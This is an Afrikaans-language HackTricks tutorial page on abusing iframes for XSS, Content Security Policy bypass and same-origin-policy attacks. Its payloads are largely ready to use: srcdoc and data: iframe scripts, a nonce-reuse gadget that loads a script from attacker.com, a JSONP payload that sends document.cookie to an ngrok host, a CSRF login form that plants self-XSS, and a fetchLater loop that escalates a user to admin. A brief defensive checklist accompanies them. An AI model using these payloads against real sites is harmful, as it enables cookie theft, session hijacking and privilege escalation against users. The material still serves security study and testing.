Iframes in XSS, CSP en SOP
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
Iframes in XSS
Daar is 3 maniere om die inhoud van ’n iframed bladsy aan te dui:
- Via
srcwat ’n URL aandui (die URL kan cross origin of same origin wees) - Via
srcwat die inhoud aandui deur diedata:protocol te gebruik - Via
srcdocwat die inhoud aandui
Toegang tot Parent- en Child-variabeles
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., die parent sal nie die secret var binne enige iframe kan bereik nie en slegs die iframes if2 & if3 (wat as same-site beskou word) kan die secret in die oorspronklike venster bereik.
Let daarop dat if4 as null origin beskou word.
srcdoc quirks that matter in real exploits
Twee besonderhede rondom srcdoc is maklik om te mis tydens exploitation:
- Tensy die frame gesandbox is sonder
allow-same-origin, is ’nsrcdocdokument same-origin with the parent. Daarom is die inspuiting van attacker-controlled HTML insrcdocgewoonlik eenders aan om dit direkte DOM-toegang tot die top-dokument te gee. - Alhoewel die dokument URL
about:srcdocis, word relatiewe URL’s opgelos deur die embedding page URL as die base URL te gebruik. Dit beteken payloads soos<script src="/upload/payload.js"></script>of<img src="/internal/debug">sal die parent origin teiken, nieabout:srcdocnie.
Praktiese payload:
<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>
Iframes met CSP
Tip
Neem asseblief kennis hoe in die volgende bypasses die respons na die iframed page geen CSP-header bevat wat JS-uitvoering verhoed nie.
Die self value of script-src sal nie die uitvoering van die JS code toelaat met die data: protocol of die srcdoc attribute nie.
Egter, selfs die none value of the CSP sal die uitvoering van die iframes toelaat wat ’n URL (complete or just the path) in die src attribute plaas.
Daarom is dit moontlik om die CSP van ’n bladsy te omseil met:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Let op hoe die vorige CSP slegs die uitvoering van die inline script toelaat.
Tog sal slegs if1 en if2 scripts uitgevoer word, maar slegs if1 sal toegang tot die ouer geheim hê.
.png)
Daarom is dit moontlik om ’n CSP te omseil as jy ’n JS-lêer na die server kan oplaai en dit via iframe laai selfs met script-src 'none'. Dit kan moontlik ook gedoen word deur ’n same-site JSONP endpoint te misbruik.
Jy kan dit toets met die volgende scenario waar ’n cookie gesteel word selfs met script-src 'none'. Voer net die toepassing uit en besoek dit met jou browser:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Nuwe (2023–2025) CSP-omseil-tegnieke met iframes
Die navorsingsgemeenskap ontdek steeds kreatiewe maniere om iframes te misbruik om beperkende beleide te omseil. Hieronder vind jy die mees noemenswaardige tegnieke wat gedurende die afgelope paar jaar gepubliseer is:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Wanneer ’n toepassing HTML weerspieël maar ’n sterk CSP skripuitvoering blokkeer, kan jy steeds sensitiewe tokens lekeer deur ’n hangende
<iframe name>-attribuut in te voeg. Sodra die gedeeltelike merkstelsel gepars word, navigeer die aanvallerskrip wat in ’n afsonderlike oorsprong hardloop die raam naabout:blanken leeswindow.name, wat nou alles tot by die volgende aanhalingskarakter bevat (byvoorbeeld ’n CSRF token). Omdat geen JavaScript in die slagoffer se konteks loop nie, ontduik die aanval gewoonlikscript-src 'none'. ’n Minimale PoC is:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
- Nonce reuse via same-origin iframe – CSP nonces is vanaf die DOM deur same-origin-dokumente leesbaar. As ’n aanvaller ’n same-origin HTML-bladsy kan injekteer of oplaaI en dit in ’n iframe laai, kan die kindraam
top.document.querySelector('[nonce]').noncelees en nuwe<script nonce>-elemente skep. Dit verander ’n same-origin HTML-injeksie in volle skripuitvoering selfs onderstrict-dynamic(omdat die nonce reeds vertrou word). Die volgende gadget eskaleer ’n merkstelsel-injeksie na XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) – ’n Bladsy wat die
form-action-direktief weglate kan sy loginvorm her-rig vanuit ’n ingeslote iframe of inline HTML sodat wagwoordbestuurders outo-invul en geloofsbriewe na ’n eksterne domein indien, selfs wanneerscript-src 'none'teenwoordig is. Vul altyddefault-srcaan metform-action!
Verdedigingsnotas (kort kontrolelys)
- Stuur altyd al CSP-direktiewe wat sekondêre kontekste beheer (
form-action,frame-src,child-src,object-src, etc.). - Moet nie staatmaak dat nonces geheim is nie—gebruik
strict-dynamicen elimineer injeksiepunte. - Wanneer jy onvertroude dokumente moet insluit gebruik
sandbox="allow-scripts allow-same-origin"uiters versigtig (of sonderallow-same-originas jy net script execution isolation nodig het). - Oorweeg ’n verdediging-in-diepte COOP+COEP-implementering; die nuwe
<iframe credentialless>-attribuut (§ below) laat jou dit doen sonder om third-party embeds te breek.
Ander payloads wat in die wild gevind is
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Die inhoud binne ’n iframe kan aan addisionele beperkings onderwerp word deur gebruik van die sandbox-attribuut. Standaard word hierdie attribuut nie toegepas nie, wat beteken daar is geen beperkings in plek nie.
Wanneer dit gebruik word, plaas die sandbox-attribuut verskeie beperkings op:
- Die inhoud word behandel asof dit van ’n unieke bron afkomstig is.
- Enige poging om vorms in te stuur word geblokkeer.
- Die uitvoering van skripte is verbode.
- Toegang tot sekere APIs is gedeaktiveer.
- Dit voorkom dat skakels met ander blaai-kontekste interaksie het.
- Gebruik van plugins via
<embed>,<object>,<applet>, of soortgelyke tags is nie toegelaat nie. - Die navigasie van die inhoud se topvlak-blaaikonteks deur die inhoud self word verhinder.
- Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outo-fokus van vormkontroles, word geblokkeer.
Wenk: Moderne blaaier ondersteun fyngraad-vlagte soos allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, ens. Kombineer hulle om slegs die minimum vermoëns te gee wat deur die ingeslote toepassing benodig word.
Die attribuut se waarde kan leeg gelaat word (sandbox="") om al die bogenoemde beperkings toe te pas. Alternatiewelik kan dit gestel word as ’n spasies-geskeide lys van spesifieke waardes wat die iframe van sekere beperkings vrystel.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
As die ingeslote bladsy same-origin is en jy gee beide allow-scripts en allow-same-origin, word die sandbox ’n baie swak grens. Die ingeslote bladsy kan JavaScript uitvoer, toegang kry tot top.document, en selfs die sandbox-attribuut van sy eie <iframe>-element verwyder:
const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"
In die praktyk moet sandbox="allow-scripts allow-same-origin" as onveilig vir deur ’n aanvaller beïnvloedde same-origin inhoud beskou word. Dit is steeds nuttig vir sekere derdeparty-embeds, maar dit is nie ’n isolasiegrens teen vyandige same-origin HTML nie.
Credentialless iframes
Soos verduidelik in this article, die credentialless vlag in ’n iframe word gebruik om ’n bladsy binne ’n iframe te laai sonder om credentials in die versoek te stuur terwyl die same origin policy (SOP) van die gelaaide bladsy in die iframe gehandhaaf word.
Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN beskryf dit as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Gevolge vir aanvallers en verdedigers:
- Skripte in verskillende credentialless iframes deel steeds die same top-level origin en kan vrylik via die DOM met mekaar kommunikeer, wat multi-iframe self-XSS-aanvalle haalbaar maak (sien PoC hieronder).
- Aangesien die netwerk credential-stripped is, tree enige versoek binne die iframe effektief op as ’n nie-geauthentiseerde sessie – CSRF-beskermde endpunte misluk gewoonlik, maar publieke bladsye leakable via DOM bly steeds in bestek.
- Berging word partitioned by a top-level document nonce: credentialless frames op dieselfde bladsy kan berging met mekaar deel, maar dit word uitgevee wanneer die top-level document verwyder word.
- Pop-ups wat uit ’n credentialless iframe ontstaan kry ’n implisiete
rel="noopener", wat sommige OAuth-flows breek. - Blaaiers behoort autofill/password managers binne credentialless iframes te deaktiveer, wat credential theft via autofill in hierdie kontekste beperk.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Exploit voorbeeld: Self-XSS + CSRF
In hierdie aanval berei die attacker ’n kwaadwillige webblad voor met 2 iframes:
- ’n iframe wat die victim se bladsy laai met die
credentiallessflag en ’n CSRF wat ’n XSS aktiveer (Stel jou ’n Self-XSS in die username van die user voor):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- ’n ander iframe wat werklik die user aangelog het (sonder die
credentiallessflag).
Dan, vanaf die XSS is dit moontlik om toegang tot die ander iframe te kry aangesien hulle dieselfde SOP het en byvoorbeeld die cookie te steel deur die volgende uit te voer:
alert(window.top[1].document.cookie);
fetchLater Aanval
Soos aangedui in this article stel die API fetchLater in staat om ’n request te konfigureer wat later uitgevoer sal word. Dit kan misbruik word om byvoorbeeld ’n slagoffer aan te meld binne ’n aanvaller se sessie (met Self-XSS), ’n fetchLater request te skeduleer (bv. om die wagwoord van die huidige gebruiker te verander), en uit te teken van die aanvaller se sessie. Wanneer die slagoffer daarna in hul eie sessie aanmeld, kan die uitgestelde request uitgevoer word met die cookies wat by die stuurtyd beskikbaar is, en so die slagoffer se wagwoord verander na die een wat deur die aanvaller gestel is.
Operasionele notas:
fetchLaterentered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so feature-detect before relying on it.- The response is not available to JavaScript; body/headers are ignored once the deferred request is sent.
- CSP enforcement uses
connect-src(notscript-src) for deferred requests. - Requests fire on page unload or when
activateAfterexpires (whichever happens first). - The maximum single delay is currently
299000ms, so long waits require re-scheduling several deferred requests.
Op hierdie manier, selfs al kan die slagoffer-URL nie in ’n iframe gelaai word nie (weens CSP of ander beperkings), kan die aanvaller steeds ’n request uitvoer in die slagoffer se sessie.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})
Iframes in SOP
Kyk na die volgende bladsye:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Verwysings
- PortSwigger Research – Using form hijacking to bypass CSP (March 2024)
- PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)
- Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
- MDN – Window.fetchLater()
- MDN –
<iframe>element - MDN –
HTMLIFrameElement.srcdoc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


